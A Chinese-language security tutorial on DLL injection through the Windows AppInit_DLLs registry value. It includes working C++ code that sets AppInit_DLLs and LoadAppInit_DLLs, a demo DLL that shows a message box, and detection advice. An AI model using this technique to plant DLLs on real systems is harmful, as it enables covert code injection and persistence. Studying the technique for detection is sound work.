進程注入之AppInit_DLLs註冊表項
User32.dll被加載到進程時,會獲取AppInit_DLLs註冊表項,若有值,則調用LoadLibrary() API加載用戶DLL。只會影響加載了user32.dll的進程。
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls
代碼如下:
#include
#include
using namespace std;
int test()
{
HKEY hKey;
DWORD dwDisposition;
const char path[] = "C:\\dll.dll";
DWORD dwData = 1;
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));
return 0;
}
int main()
{
test();
//system("pause");
return 0;
}
復現過程
將以上代碼編譯爲exe文件,放到測試機運行會產生一下注冊項
修改過後如下圖所示:
dll代碼如下:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
運行cmd.exe,就會發現cmd.exe已經加載指定dll,並彈框。
此註冊表項下的每個庫都會加載到每個加載User32.dll的進程中。User32.dll是一個非常常見的庫,用於存儲對話框等圖形元素。惡意軟件可以在Appinit_Dlls註冊表項下插入其惡意庫的位置,以使另一個進程加載其庫。因此,當惡意軟件修改此子鍵時,大多數進程將加載惡意庫。
檢查及清除方法
- 監測加載User32.dll的進程的dll的加載,特別是查找不是通常的dll,或者不是正常加載的dll。
- 監視AppInit_DLLs註冊表值。
- 監視和分析註冊表編輯的API調用,如RegCreateKeyEx和RegSetValueEx。